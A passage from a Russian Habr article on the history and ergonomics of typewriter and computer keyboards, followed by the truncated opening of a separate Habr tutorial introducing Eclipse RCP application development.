фортепьяно и аккордеона (баяна)Неугомонный Шоулз продолжил свои эксперименты и, чтобы уменьшить машину, заменил клавиатуру фортепианного типа на более компактную клавиатуру аккордеонного типа, состоящую из 4 рядов клавиш-пистонов ([патент US182511A](https://patents.google.com/patent/US182511A/)). Машина Шоулза пополнила бы список практически-непригодных пишущих машин, если бы в 1873 году он не добился контракта на производство своей машины на оружейном заводе Ремингтонов в США. Опытные фабриканты-оружейники увидели большой коммерческий потенциал в машине Шоулза и довели её до ума. ![Рисунок 3. Клавиатура пишущей машины Ремингтон № 2 (1879)](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/3e9/9fa/4ad/3e99fa4adb2cb7506266c5360d5f1d05.jpg "Рисунок 3. Клавиатура пишущей машины Ремингтон № 2 (1879)")Рисунок 3. Клавиатура пишущей машины Ремингтон № 2 (1879)Клавиатура именно этой машины впоследствии стала стандартом для всех пишущих машин, телетайпов (пишущих машин, связанных между собой по телеграфу для обмена сообщениями), терминалов (устройств для ввода команд и управления первыми компьютерами) и компьютерных клавиатур. Основные принципы этого стандарта: * три буквенных и один цифровой ряд клавиш (расстояние между клавишами 3/4 дюйма); * клавиша-дощечка для пробелов; * ряды клавиш с горизонтальным смещением; * две клавиши смены регистра Shift по бокам клавиатуры; * расположение букв в порядке `QWERTY`. Клавиатура машины Шоулза кажется простой и привычной. Но, оказывается, она устарела уже через 5 лет после своего появления. В первые годы производства пишущих машин инженеров заботила прежде всего надежность механизмов, а не скорость и удобство набора. Технический предел скорости набора на машине Шоулза из-за своего тугого механизма не превышал 60 слов в минуту. Это не было проблемой на момент её создания, так как не существовало людей, печатающих с такой скоростью. Поэтому, распространенный миф о том, что расположение клавиш `QWERTY` на машине Шоулза было выбрано для замедления проворных машинисток, ломающих машину бешеным темпом печати, не является правдой. По мере повышения скорости работы машинистов и машинисток, инженеры озаботились простотой и удобством набора текста — эргономикой клавиатур. ### Теория эргономики клавиатуры Максимальная простота и скорость набора текста на клавиатуре обеспечивается ее физической и когнитивной (психологической) совместимостью с пользователем (эргономикой). **Физическая совместимость** — взаимодействие устройства и человека с учетом его анатомии. В случае взаимодействия человека и клавиатуры подразделяется на три составляющие: * антропометрическая совместимость. Клавиши на клавиатуре должны максимально соответствовать форме и размерам пальцев рук. * энергетическая совместимость. Нажатия должны происходить без лишних движений, а нагрузка сбалансирована между пальцами. * сенсомоторная совместимость. Клавиши должны нажиматься осязаемо, легко и быстро. При постоянном использовании клавиатуры, в мышцах, сухожилиях и суставах пальцев развивается ощущение направления движения и растяжения пальцев, необходимого для набора той или иной клавиши — моторная память. Хорошая моторная память вырабатывается месяцами. Поэтому переход от одного типа клавиатур к другому так сложен. Большинство пользователей клавиатуры не пользуются ею настолько часто, чтобы выработать идеальную моторную память. Но опытные пользователи с идеальной моторной памятью при быстром наборе текстов рано или поздно упираются в потолок физической совместимости с клавиатурой, определяемый длиной перемещений пальцев от клавиши к клавише и их усталостью. Поэтому пользователи, набирающие тексты двумя пальцами упираются в потолок физической совместимости раньше, чем пользователи, набирающие десятью пальцами: двум пальцам приходится преодолевать намного большее расстояние. Минимизация движений обеспечивает лучшую физическую совместимость клавиатуры и рук. На первых пишущих машинах нажатия или, вернее сказать, удары по клавишам выполнялись, в основном, указательными и средними пальцами, так как физически было сложно хорошо отпечатать букву, ударяя клавишу безымянным пальцем или мизинцем. Не занятые мизинцы и безымянные пальцы использовались для удержания клавиш смены регистра, а большие пальцы для клавиши пробела. Подобное расположение клавиш, ставшее привычным для нас, было пересмотрено инженерами в 1880-е. Так у машин [Крендель (1883)](https://www.antiquetypewriters.com/typewriter/crandall-1-typewriter/), [Гаммонд Идеал (1885)](https://www.antiquetypewriters.com/typewriter/hammond-1-mahogany-typewriter/) и Беннетт (1907) клавиши пробела и смены регистра находилась в центре клавиатуры и нажималась указательными пальцами. ![Рисунок 4. Клавиатура пишущей машины Крендель](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/b94/a9d/506/b94a9d5068cf6a688a1a1d38b2e1c18e.jpg "Рисунок 4. Клавиатура пишущей машины Крендель")Рисунок 4. Клавиатура пишущей машины КрендельУ машины [Каллиграф (1880)](http://www.besttypewriter.com/type/one-model?slug=calligraph-1) было две клавиши пробела, расположенные по бокам от клавиатуры. ![Рисунок 5. Клавиатура пишущей машины Каллиграф](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/362/1cd/2d2/3621cd2d2d9cbdf1025adeaf1e7ffd35.jpg "Рисунок 5. Клавиатура пишущей машины Каллиграф")Рисунок 5. Клавиатура пишущей машины КаллиграфБлагодаря появлению машин с легким ходом клавиш, в 1888 году возник «слепой» 10-пальцевый метод набора, при котором все пальцы рук участвовали в наборе и были закреплены за своими клавишами. Это позволило значительно повысить скорость набора благодаря повышению физической и когнитивной совместимости: машинисты тратили меньше времени на перемещение пальцев и на визуальный поиск нужной клавиши. Появилось понятие правильной расстановки пальцев, а также понятие основной (начальной, домашней) позиции пальцев на клавиатуре. ![Рисунок 6. Фрагмент из инструкции к пишущей машине Ундервуд-5 (1914) с определением расстановки пальцев](https://habrastorage.org/getpro/habr/upload_files/8d2/5f4/3ee/8d25f43ee2a0e7d71967d2668bc3c4a2.JPG "Рисунок 6. Фрагмент из инструкции к пишущей машине Ундервуд-5 (1914) с определением расстановки пальцев")Рисунок 6. Фрагмент из инструкции к пишущей машине Ундервуд-5 (1914) с определением расстановки пальцевНачали выпускаться машины для «слепого» метода набора с оптимальным расположением букв на клавиатуре: наиболее частые алфавитные клавиши были размещены в основной позиции. [Бликенсдерфер (1893)](https://www.antiquetypewriters.com/typewriter/creelman-brothers-blickensderfer-5-portable-typewriter/). Клавиши смены регистра стали располагаться не под мизинцами, а под большими пальцами, не занятыми в наборе букв [Франклин (1891)](https://www.antiquetypewriters.com/typewriter/franklin-2-typewriter/) и [Форд (1895)](https://www.antiquetypewriters.com/typewriter/ford-typewriter/). ![Рисунок 7. Клавиатура пишущей машины Форд](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/77c/315/087/77c3150875f2e1fb3130f93a63e0b4ec.jpg "Рисунок 7. Клавиатура пишущей машины Форд")Рисунок 7. Клавиатура пишущей машины ФордИдеи, используемые в этих машинах, значительно повысили физическую совместимость клавиатур. Ещё большее повышение физической совместимости достигалось за счёт сокращения количества клавиш, что требовало использования специальных приемов набора. ### Приемы сокращения количества клавиш на клавиатурах #### Аккорды На клавиатуре, ранее упомянутого телеграфного аппарата П. Л. Шиллинга (1832), было 12 клавиш для ввода букв. Первые 12 букв набирались одной клавишей, остальные буквы, а также цифры, набирались одновременным нажатием нескольких клавиш — аккордами. ![Рисунок 8. Аккорды клавиатуры Шиллинга](https://habrastorage.org/r/w1560/getpro/habr/upload_files/a58/842/d78/a58842d78a08c6b06d0de82d1de13a32.png "Рисунок 8. Аккорды клавиатуры Шиллинга")Рисунок 8. Аккорды клавиатуры ШиллингаФранцузский инженер Бодо пошел дальше и изобрел в 1872 телеграфный аппарат с клавиатурой из 5 клавиш: 2 для левой и 3 для правой руки. Буквы набирались аккордами, модулирующими 5 битный двоичный код. На основе кода Бодо в 1924 году был принят международный телеграфный код ITA2 (МТК-2). ![Рисунок 9. Телеграфный аппарат Бодо и код МТК-2](https://habrastorage.org/getpro/habr/upload_files/5d5/6eb/abb/5d56ebabb71d820f1edb503b4bf2b025.JPG "Рисунок 9. Телеграфный аппарат Бодо и код МТК-2")Рисунок 9. Телеграфный аппарат Бодо и код МТК-2Обратите внимание, что самым частым буквам в телеграфном коде МТК-2 соответствуют самые легкие для набора комбинации, что снижает износ оборудования и позволяет сократить нагрузку на пальцы — повысить энергетическую совместимость. Также обратите внимание, что буквы русского и латинского алфавита сопоставляются по фонетическому принципу. Данный принцип сопоставления, использующийся ещё с 1856 года в русском варианте азбуки Морзе, был впоследствии перенят для компьютерных кодировок КОИ-7 и КОИ-8. В 1879 американский стенографист (судебный писарь) Майлс Бартоломью запатентовал [пишущую машину](https://www.antiquetypewriters.com/typewriter/stenograph-1st-form/), основанную на принципе телеграфа Бодо. При нажатии одной из 5 клавиш отпечатывался штрих в одной из 5 возможных позиций. Клавиши дублировались для правой и левой руки. ![Рисунок 10. Клавиатура машины Бартоломью и расшифровка штрихового кода](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/398/f97/a72/398f97a724b2b5df686dd6282ac7e89b.jpg "Рисунок 10. Клавиатура машины Бартоломью и расшифровка штрихового кода")Рисунок 10. Клавиатура машины Бартоломью и расшифровка штрихового кодаМашина позиционировалась Бартоломью как машина для стенографии — быстрой записи устной речи с использованием системы сокращений слов. Коллеги Бартоломью предпочитали эту простую машинку полноценным пишущим машинам по следующим причинам: * пальцы не перемещались и постоянно находились в основной позиции. * буквы набирались поочередно правой и левой рукой: когда первая рука заканчивала набор буквы, вторая рука начинала набирать следующую. Благодаря такому чередованию возрастала скорость набора. * кроме аккордов для букв, использовались аккорды для частых биграмм английского языка (например биграмма th используется в английском языке чаще, чем буквы k, x, j, q, z). Главный недостаток, из-за которого машина не обрела широкую популярность, был в необходимости расшифровки набранных штрихов и сокращений. Сегодня специальные программы легко расшифровывают набранный таким образом текст и компьютерная стенография становится все более популярной. В 1892 году директор школы для слепых, Фрэнк Холл создал [машину](https://www.antiquetypewriters.com/typewriter/hall-braille-writer-1/) для тиснения на бумаге шрифта Брайля. Буквы тактильного шрифта Брайля кодируются комбинациями из 6 выпуклых точек. Соответственно, клавиатура машины состоит только из 6 клавиш для букв и 1 клавиши пробела. Одним аккордом набирается одна буква. В 1973 году был создан прототип современного персонального компьютера — [Xerox Alto](https://habr.com/en/company/cloud_mts/blog/510502/). Клавиатура Xerox Alto предполагала совместное использование с мышью, поэтому не имела курсорно-цифрового блока. Третьим устройством ввода была аккордная клавиатура с пятью большими продолговатыми клавишами, не ставшая популярной и канувшая в лету. ![Рисунок 11. Устройства ввода Xerox Alto](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/662/14d/6f7/66214d6f74dd415602766b8fbfee2534.jpg "Рисунок 11. Устройства ввода Xerox Alto")Рисунок 11. Устройства ввода Xerox Alto#### Регистры **Регистр** — совокупность символов, выдаваемых клавишами клавиатуры (то же самое, что раскладка или слой) Пишущая машина Шоулза образца 1873 года [Ремингтон № 1](https://upload.wikimedia.org/wikipedia/commons/thumb/3/35/Sholes_and_Glidden_Schreibmaschine_01.jpg/1280px-Sholes_and_Glidden_Schreibmaschine_01.jpg) не имела прописного регистра и могла печатать только строчные буквы. Во второй модели 1879 года [Ремингтон № 2](https://www.antiquetypewriters.com/typewriter/remington-2-typewriter/) был добавлен механизм, позволяющий печатать с помощью одной клавиши два разных символа — механизм сдвига каретки (вала, перемещающего бумагу). ![Рисунок 12. Принцип сдвига каретки (смены регистра)](https://habrastorage.org/getpro/habr/upload_files/1e0/df7/9f9/1e0df79f9f6c065648952d5acc5cfabb.gif "Рисунок 12. Принцип сдвига каретки (смены регистра)")Рисунок 12. Принцип сдвига каретки (смены регистра)При поднятой каретке удар рычагов с литерами о бумагу приходился не на основной, а на дополнительный знак. Для подъема каретки использовалась дополнительная клавиша Shift (англ. shift — сдвиг). Это решение усложняло машину, но позволяло набирать с помощью 42 клавиш 84 символа (два регистра). У пишущей машины Крендель (1883) и [Гаммонд (1884)](https://www.antiquetypewriters.com/typewriter/hammond-1-mahogany-typewriter/) было уже три регистра, что позволяло с помощью 30 клавиш набирать 90 символов: 1. строчные буквы, 2. прописные буквы, 3. символы и цифры. У пишущей машины [Адлер 11 (1909)](http://www.besttypewriter.com/type/one-model?slug=adler-11) было **6 регистров**: 1. строчные русские буквы, 2. прописные русские буквы, 3. символы и цифры для русского языка, 4. латинские строчные буквы, 5. латинские прописные буквы, 6. символы и цифры для латинских языков. ![Рисунок 13. Клавиатура пишущей машины Адлер 11. Обратите внимание, что цифровой ряд расположен в основном ряду](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/047/7a4/9f9/0477a49f9caa36a19f9b5333b0a520c6.jpg "Рисунок 13. Клавиатура пишущей машины Адлер 11. Обратите внимание, что цифровой ряд расположен в основном ряду")Рисунок 13. Клавиатура пишущей машины Адлер 11. Обратите внимание, что цифровой ряд расположен в основном рядуДо появления машины Адлер 11 для набора текстов на русском и английском (или французском, или немецком) приходилось иметь две отдельные машины, либо использовать машины со сменными литерами (например Адлер 7). Пишущие машины не могли печатать буквы разных размеров и форм, так что для выделения заголовков использовались прописные буквы. Для удобства набора таких псевдо-заглавных букв, чтобы не держать клавишу регистра, а с нею и каретку, клавиша регистра стопорилась специальным замочком, который называли Caps Lock (англ. capitals — заглавные, англ. lock — замок). Сегодня данный прием потерял свою значимость, так как существует масса альтернативных способов выделения заголовков. С появлением телетайпов, на клавиатурах стал использоваться управляющий регистр, когда при зажатой клавише Ctrl (англ. control — управление), алфавитные клавиши отправляли не буквы, а команды. #### Ритм нажатий В 1838 году Сэмюэль Морзе предложил использовать для передачи информации по телеграфу только одну клавишу (ключ). Буквы кодировались ритмом и продолжительностью нажатия этого ключа. Этот прием не использовался в пишущих машинах, но применим в компьютерных клавиатурах. --- Перечисленные приемы и их комбинации позволяют кратно сократить количество клавиш клавиатуры без потери её функциональности, но значительно усложняют работу неподготовленного пользователя. Так повышение физиологической совместимости приводит к снижению когнитивной совместимости. **Когнитивная (психофизиологическая) совместимость** — взаимодействие устройства и человека с учетом его мыслительных способностей (восприятие, память, мышление). Чтобы снизить когнитивную нагрузку, клавиатура должна обладать следующими свойствами: * функциональность — возможность набора всех необходимых пользователю символов и команд. * легкость восприятия — клавиши быстро идентифицируются визуально и тактильно. * предсказуемость — клавиша вводит символ или команду, ожидаемую человеком. * простота набора — количество сложных комбинаций, таких как смена регистра, сведено к минимуму. Лучшую когнитивную совместимость обеспечивают клавиатуры с отдельными клавишами для всех необходимых символов и команд, так что пользователь не теряет времени на поиск и обдумывание нужной клавиши или комбинации клавиш. В 1880-е годы ХIХ века, конструкторы пишущих машин пришли к мнению, что клавиатура должна быть как можно более проста в обращении. Использование клавиш смены регистров усложняло работу неопытных пользователей. Потому стали выпускаться машины с отдельными клавишами для всех символов, в том числе для прописных букв: [Каллиграф-2 (1882)](https://www.antiquetypewriters.com/typewriter/calligraph-2/), [Иост (1887)](https://www.antiquetypewriters.com/typewriter/yost-1-typewriter/), [Смис Премьер 1 (1889)](https://www.antiquetypewriters.com/typewriter/smith-premier-1-typewriter/), [Бар-Лок 4 (1893)](https://www.antiquetypewriters.com/typewriter/bar-lock-4-typewriter/). Такие машины назывались машинами с полной клавиатурой, а машины с двумя регистрами называли машинами с полуклавиатурами. ![Рисунок 14. Клавиатура пишущей машины Смис Премьер 1. Обратите внимание на разный цвет клавиш для строчных и прописных букв. Это позволяло лучше ориентироваться в клавишах](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/852/7b7/7f4/8527b77f4ead1136aa0c2d7baf49adce.jpg "Рисунок 14. Клавиатура пишущей машины Смис Премьер 1. Обратите внимание на разный цвет клавиш для строчных и прописных букв. Это позволяло лучше ориентироваться в клавишах")Рисунок 14. Клавиатура пишущей машины Смис Премьер 1. Обратите внимание на разный цвет клавиш для строчных и прописных букв. Это позволяло лучше ориентироваться в клавишахЧтобы повысить структурное восприятие клавиш и скорость их обнаружения, ряды клавиш стали размещать прямой сеткой — **ортолинейно**, Сдвиг клавиш на первых пишущих машинах был технически-обусловленным решением, упрощающим устройство рычажной системы клавиатуры и сокращающим затраты на её производство. Когда удобство использования стало важнее экономии в производстве, клавиши стали размещать без сдвига. Для этого просто изгибали рычаги клавиш. (Смис Премьер 1 (1889), [Empire 1 (1895)](https://www.antiquetypewriters.com/typewriter/empire-1-typewriter/), Беннетт (1907)). Простота однорегистровых клавиатур имела и минусы: расстояние, преодолеваемое пальцами, увеличивалось, снижая физическую совместимость. Однако, если сравнивать клавиатуру с отдельными клавишами для наиболее частых символов и команд (около 165 клавиш) со стандартной клавиатурой, то среднее расстояние, преодолеваемое пальцами на 165-клавишной клавиатуре, благодаря отсутствию перемещений для смены регистров, меньше на 20 %. То есть физическая и когнитивная совместимость 165-клавишной клавиатуры значительно лучше, чем у стандартной клавиатуры. ![Рисунок 15. Пример 165-клавишной клавиатуры](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/b7e/443/27f/b7e44327f00507a841d7bb658b86bb36.jpg "Рисунок 15. Пример 165-клавишной клавиатуры")Рисунок 15. Пример 165-клавишной клавиатуры --- Концепция клавиатуры с лучшей когнитивной совместимостью (165 клавиш) противоречит концепции клавиатуры с лучшей физической совместимостью (10 клавиш), поэтому не может существовать идеальной для всех пользователей клавиатуры. Для неопытных пользователей максимальная скорость набора достижима на клавиатуре с лучшей когнитивной совместимостью. Для опытных пользователей с развитой моторной памятью максимальная скорость набора достижима на клавиатуре с лучшей физической совместимостью. Цена достижения лучшей физической совместимости — время на обучение. Развитие моторной памяти для быстрого набора текста на 10-клавишной клавиатуре у рядового пользователя затянется на несколько лет. Определить целесообразность использования той или иной клавиатуры можно по объему набираемого за день текста. ### Теория набора текста Время непосредственного набора текста на клавиатуре складывается из трех составляющих: 1. время нажатий клавиш — полезная работа. 2. время перемещения пальцев к нажимаемой клавише — бесполезная работа, снижающая физическую совместимость. 3. время обдумывания какую клавишу или комбинацию клавиш нажать — бесполезная работа, снижающая когнитивную совместимость. Максимальную скорость набора можно достичь, сократив время нажатий клавиш (например, за счёт чередования пальцев) и избавившись от бесполезной работы — перемещений и обдумываний. Зависимость физической и когнитивной совместимости можно представить, как зависимость времени перемещений пальцев и времени обдумывания от количества клавиш на примере трех клавиатур: * стандартная 104-клавишная клавиатура; * 165-клавишная клавиатура (максимальная когнитивная совместимость); * 10-клавишная клавиатура (максимальная физическая совместимость). ![Рисунок 16. Современные 10-клавишные клавиатуры. Цельная и раздельная](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/6ee/dab/b47/6eedabb479892cc569b3edfa670da18b.jpg "Рисунок 16. Современные 10-клавишные клавиатуры. Цельная и раздельная")Рисунок 16. Современные 10-клавишные клавиатуры. Цельная и раздельнаяЭта зависимость будет разной для неопытных и опытных пользователей. Зависимость для неопытных пользователей, выглядит следующим образом: ![Рисунок 17. Зависимость физической и когнитивной совместимости для неопытных пользователей](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b1f/e4d/862/b1fe4d862ea73e3312b1f04f3cb0783a.png "Рисунок 17. Зависимость физической и когнитивной совместимости для неопытных пользователей")Рисунок 17. Зависимость физической и когнитивной совместимости для неопытных пользователейСтандартная клавиатура расположена на самом верху диаграммы, так как требует больше всего времени на перемещение пальцев. 10-клавишная клавиатура расположена на самом краю диаграммы, так как требует больше всего времени на обдумывания, какую клавишу и как нажать. Суммарное время, потраченное на бесполезную работу при наборе одного слова для неопытного пользователя получается следующим: | Клавиатура | Время на перемещение и обдумывание, с/слово | | --- | --- | | 165-клавиш | 3,5 | | 104-клавиш (стандарт) | 4,96 | | 10-клавиш | 7 | Таким образом, для неопытного пользователя эффективнее использовать для набора 165-клавишную клавиатуру. По мере развития моторной памяти, когнитивная совместимость становится менее значимой для достижения максимальной скорости набора. Отпадает необходимость в подписях клавиш, набор клавиш и их комбинаций становится машинальным. Кривая обучения выглядит по-разному для рассматриваемых клавиатур: ![Рисунок 18. Зависимость времени обучения от объема набираемых слов](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e9b/48b/dc2/e9b48bdc29e29f161525367176399f62.png "Рисунок 18. Зависимость времени обучения от объема набираемых слов")Рисунок 18. Зависимость времени обучения от объема набираемых словПользователь, набирающий по 30 страниц в день развивает моторную память набора на 10-клавишной клавиатуре за 90 дней, а пользователь, набирающий одно письмо в день, достигнет такого же уровня моторной памяти только через несколько лет. На 165-клавишной клавиатуре, оба пользователя достигнут высокой скорости набора за месяц. При достижении скорости набора 50 слов в минуту возникает приятное ощущение опытности. Существуют целые [сообщества](http://klavogonki.ru/) пользователей, готовых набирать тексты ради удовольствия. Переход на незнакомую клавиатуру резко снижает скорость набора, ощущение удовольствия сменяется ощущением мучения. Поэтому процесс переучивания не имеет для опытных пользователей ни эмоциональной, ни практической ценности в краткосрочной перспективе. Но если сравнить трёх опытных пользователей рассматриваемых клавиатур, то зависимость физической и когнитивной совместимости для них будет выглядеть следующим образом: ![Рисунок 19. Зависимость физической и когнитивной совместимости для опытных пользователей](https://habrastorage.org/r/w1560/getpro/habr/upload_files/02f/dcd/0ba/02fdcd0ba0199995cca5e100c329cff7.png "Рисунок 19. Зависимость физической и когнитивной совместимости для опытных пользователей")Рисунок 19. Зависимость физической и когнитивной совместимости для опытных пользователейБесполезное время приблизилось к 0, а взаимное расположение клавиатур осталось прежним. Суммарное время, потраченное на бесполезную работу при наборе одного слова для опытного пользователя: | Клавиатура | Время на перемещение и обдумывание, с/слово | | --- | --- | | 10-клавиш | 0,100 | | 165-клавиш | 0,223 | | 104-клавиш (стандарт) | 0,282 | Таким образом, опытный пользователь 10-клавишной клавиатуры будет тратить в среднем в 3 раза меньше времени на бесполезную работу по сравнению с опытным пользователем стандартной клавиатуры и в 2 раза меньше времени по сравнению с пользователем 165-клавишной клавиатуры. Разница кажется не значительной, но если просуммировать бесполезное время за 30 лет использования клавиатуры, то для активного пользователя, даже с учётом потери времени на обучение, получается экономия в несколько суток. Сокращение бесполезной работы за 30 лет при переходе опытного пользователя стандартной клавиатуры на 10-клавишную или 165-клавишную клавиатуру: | Объем набираемого текста, слов/сут | Экономия времени 10-клавишной, сут | Экономия времени 165-клавишной, сут | | --- | --- | --- | | 100 | -2 | 1 | | 1000 | 10 | 7 | | 10000 | 195 | 74 | **Выводы:** 1. Опытные пользователи стандартной клавиатуры, набирающие 2—3 страницы в день, сэкономят от перехода на оптимальную клавиатуру несколько дней свой жизни. 2. Опытные пользователи стандартной клавиатуры, набирающие меньше одного письма в день, не получат от перехода на оптимальную клавиатуру никакой экономии из-за потерянного на переучивание времени. 3. Новым пользователям целесообразно сразу осваивать оптимальную клавиатуру. **Оптимальная клавиатура** — клавиатура при использовании которой бесполезное время на перемещения и обдумывания сведены к минимуму. Линия, соединяющая на диаграмме клавиатуру с лучшей физической и лучшей когнитивной совместимостью, является линией оптимальных клавиатур. Может существовать множество оптимальных клавиатур с разными компоновками клавиш от лучшей физической до лучшей когнитивной. Благодаря этому, изобретатели ХIХ века в конкурентной и патентной борьбе, не переставали создавать все более совершенные клавиатуры. Такое разнообразие клавиатур стало проблемой для профессиональных машинистов и машинисток того времени, вынужденных переучиваться при переходе с одной машины на другую. Под влиянием этой проблемы в 1888 году в Торонто состоялся съезд производителей пишущих машин, на котором расположение клавиш на клавиатуре машин Ремингтон (как наиболее распространенных) было признано стандартным. Золотой век развития клавиатур был закончен. ![Рисунок 20. Фрагмент из рекламной брошюры пишущей машины Монарх](https://habrastorage.org/getpro/habr/upload_files/7d2/ac9/6d0/7d2ac96d0ddb43a873344f06ea3288b7.JPG "Рисунок 20. Фрагмент из рекламной брошюры пишущей машины Монарх")Рисунок 20. Фрагмент из рекламной брошюры пишущей машины МонархМашинистки и машинисты вздохнули с облегчением, но по мере появления новых функций пишущих машин, стандартная клавиатура начала обрастать по своей периферии новыми клавишами. Как следствие, такое нагромождение клавиш привело к появлению комбинаций, набор которых осуществляется пальцами врастопырку, что со временем приводит к кумулятивным травмам опорно-двигательного аппарата верхних конечностей. Вершиной процесса нагромождения дополнительных клавиш стала стандартная компьютерная клавиатура. ### Причины, по которым я отказался от использования стандартной клавиатуры ![Рисунок 21. Недостатки физической совместимости стандартной клавиатуры](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/1ad/311/29a/1ad31129ace6e0c9ba5b3561d215d873.jpg "Рисунок 21. Недостатки физической совместимости стандартной клавиатуры")Рисунок 21. Недостатки физической совместимости стандартной клавиатуры#### Недостатки физической совместимости 1. Руки в основной позиции находятся в неестественном положении: образуется угол в запястье. Причина в близком расположении рук в основной позиции. Если бы основные позиции находились на ширине плеч, руки были бы в естественном положении. 2. Пальцы передвигаются не параллельно своей оси. Причина в сдвижке рядов. 3. Дальние перемещения к мышке. Причина в том, что изначально стандартная клавиатура не предполагала совместного использования с мышью. 4. Дальние перемещения к курсорно-цифровому блоку клавиш. 5. Дальние перемещения к клавишам управления курсором. 6. Дальние перемещения мизинцев к периферийным клавишам, таким как Tab, Ctrl, Backspace, Delete. 7. Сложные комбинации, неестественные для анатомии кисти (например Ctrl+Shift или Alt+Shift+Tab). 8. Дисбаланс нагрузки между пальцами: * чрезмерная нагрузка на мизинцы из-за большого количества периферийных клавиш. * малая нагрузка на большие пальцы, используемые в основном только для пробела. * неоптимальное для «слепого» набора расположение алфавитных клавиш `QWERTY`. #### Недостатки когнитивной совместимости 9. Диагональное расположение клавиш, снижающее структурное восприятие и замедляющее тактильную и визуальную идентификацию клавиш. 10. Большое количество регистров (строчные, прописные, русские, английские, управляющие, дополнительные. Неопытные пользователи не знают, что блок управления курсором меняет регистр на цифровой при нажатии клавиши NumLock и поэтому, опасаясь получить неожиданный результат, просто им не пользуются). 11. Дублирование частых клавиш (Ctrl, Alt, Shift, Win) с правой стороны создает дополнительную когнитивную нагрузку. 12. Отсутствие клавиш для частых символов. На клавиатуре нет клавиш для используемых в русской письменности символов `«»` `—`; нет клавиш для используемых в математике символов, таких как `≠` `−` (минус). 13. Отсутствие клавиш для самых частых команд. Например, клавиши копировать и вставить. 14. Отсутствие клавиши смены алфавитных регистров с английского на русский (такая клавиша есть на японской версии стандартной клавиатуры, так как японский пользователь был более требовательным и приоритетным). Вместо этого используются разные комбинации управляющих клавиш. 15. Несоответствие клавиш русского и английского алфавитного регистра, из-за чего русскоязычному пользователю необходимо запоминать два расположения фонетически схожих клавиш, что крайне негативно сказывается на когнитивной совместимости. 16. Несоответствие символьных клавиш между русским и английским алфавитным регистром (точка, запятая и пр.) 17. Невозможность набора некоторых символов из определенных алфавитных регистров (`№` из английского, `[]{}<>` из русского). 18. Несколько подписей на клавишах замедляют их визуальную идентификацию. Часть из перечисленных недостатков достались стандартной клавиатуре по наследству от стандартной пишущей машины, часть из них обусловлена тем, что изначально стандартная клавиатура (IBM Model M) предназначалась для работы в текстовом интерфейсе (терминал IBM 3161) и не предполагала одновременного использования с мышью. Все эти недостатки стали привычными для современных пользователей. Трудно подсчитать, сколько времени и нервов потрачено на их преодоление. Эти недостатки повлияли и на культуру письма и речи: * вместо математических символов в программировании используются их суррогаты, состоящие из доступных со стандартной клавиатуры символов, например `!=` или `<>` вместо `≠`. * вместо классических кавычек (`«»` для русского языка, `“ ”` для английского), стало нормой использовать универсальную кавычку суррогат `"`. * вместо тире `—` стало нормой использование дефиса `-`. * стало нормой записывать сокращения без пробелов после точки: `А.С.Пушкин` вместо `А. С. Пушкин`. * вместо `сделай по шаблону`, стали говорить `сделай контрол+ц, контрол+в`. * вместо `запечатлей`, стали говорить `заскринь`. * русскоязычные пользователи шифруют свои пароли, используя фонетическое несоответствие клавиш между русским и английским алфавитным регистром. Но в отличие от пользователей ХIХ, современные пользователи перестали быть привязанными к производителям клавиатур, а сами клавиатуры стали настолько легкими, что их можно носить на работу в кармане. Современные возможности клавиатуростроения позволяют легко преодолеть все недостатки стандартной клавиатуры, о чем будет рассказано в следующей статье. Проникшись историей клавиатур, становится удивительно, что недостатки клавиатуры 150 летней давности сохранились до наших дней. Использование стандартной клавиатуры в наш век можно сравнить с использованием её ровесника — большеколесного велосипеда, появившегося также в 1870-х. Он тоже был сложен в освоении и далек от идеалов эргономики. И если бы все велосипедные заводы договорились 150 лет назад производить только один стандартный тип велосипеда, мы бы ездили на нем до сих пор и с недоверием относились бы к более скоростным и удобным велосипедам. Автор: Илья Леонов
https://habr.com/ru/post/701494/
null
ru
null
# Разработка простого Eclipse RCP приложения В данной статье я хотел рассказать о том, как создавать приложения при помощи Eclipse RCP (Rich Client Platform). Поводом для написания послужил тот факт, что на Хабре абсолютно отсутствуют статьи, описывающие данную платформу. В качестве примера мы создадим пользовательскую форму ввода; корректность данных будет проверяться при помощи JFace Data Binding framework. Для затравки приведу ниже скриншот с тем, что у нас должно получиться. ![](https://habrastorage.org/r/w1560/storage2/9e0/ef2/744/9e0ef274497c591ee62f08bebdd13563.png) [Что такое Eclipse RCP](#1)     [Плюсы и минусы платформы](#1.1) [Приступаем к работе](#2)     [Установка необходимых плагинов](#2.1)     [Создание проекта](#2.2)     [Структура проекта](#2.3)     [Запуск проекта](#2.4) [Добавление вида (view)](#3)     [Добавление расширения](#3.1)     [Настройка вида](#3.2)     [Настройка расположения вида](#3.3)     [Запуск приложения с добавленным видом](#3.4) [Ссылки на полезные ресурсы](#4) #### Что такое Eclipse RCP Для начала, все же необходимо сказать, что же такое Eclipse RCP. **Eclipse** – это среда разработки, написанная на Java, развиваемая и поддерживаемая Eclipse Foundation (участниками которого являются IBM, SAP, Oracle, компании, предлагающие продукты на основе Eclipse RCP и участвующие в развитии экосистемы Google, RedHat, Adobe, Cisco, Intel). **Eclipse RCP** – это набор плагинов для создания, так называемых, rich client application. Все что видит пользователь, открывая Eclipse IDE, является плагином, созданным на основе этой платформы. Пользователь может создавать свои плагины на основе огромного количества уже существующих, также при необходимости можно найти большинство популярных фреймворков, таких как Hibernate, Google Guice, Google Guava, JUnit, TestNG в виде плагинов. Также стоит отметить, что архитектура времени выполнения основана на спецификации сервисной платформы **OSGI**, данная спецификация описывает способы создания и работы модульных приложений. Eclipse, как уже упоминалось выше, написана на Java и позиционируется как кроссплатформенный продукт (в 90% случаев RCP приложение соберётся на Windows, Linux и Mac). Все плагины, составляющие ядро платформы, и большинство сторонних плагинов распространяются под лицензией EPL (Eclipse Public License). Пользовательский интерфейс RCP приложений основан на визуальных компонентах фреймворков SWT и JFace, а также на собственных Eclipse виджетах. Рисунки, приведённые ниже, показывают из каких компонентов состоит приложение, основанное на 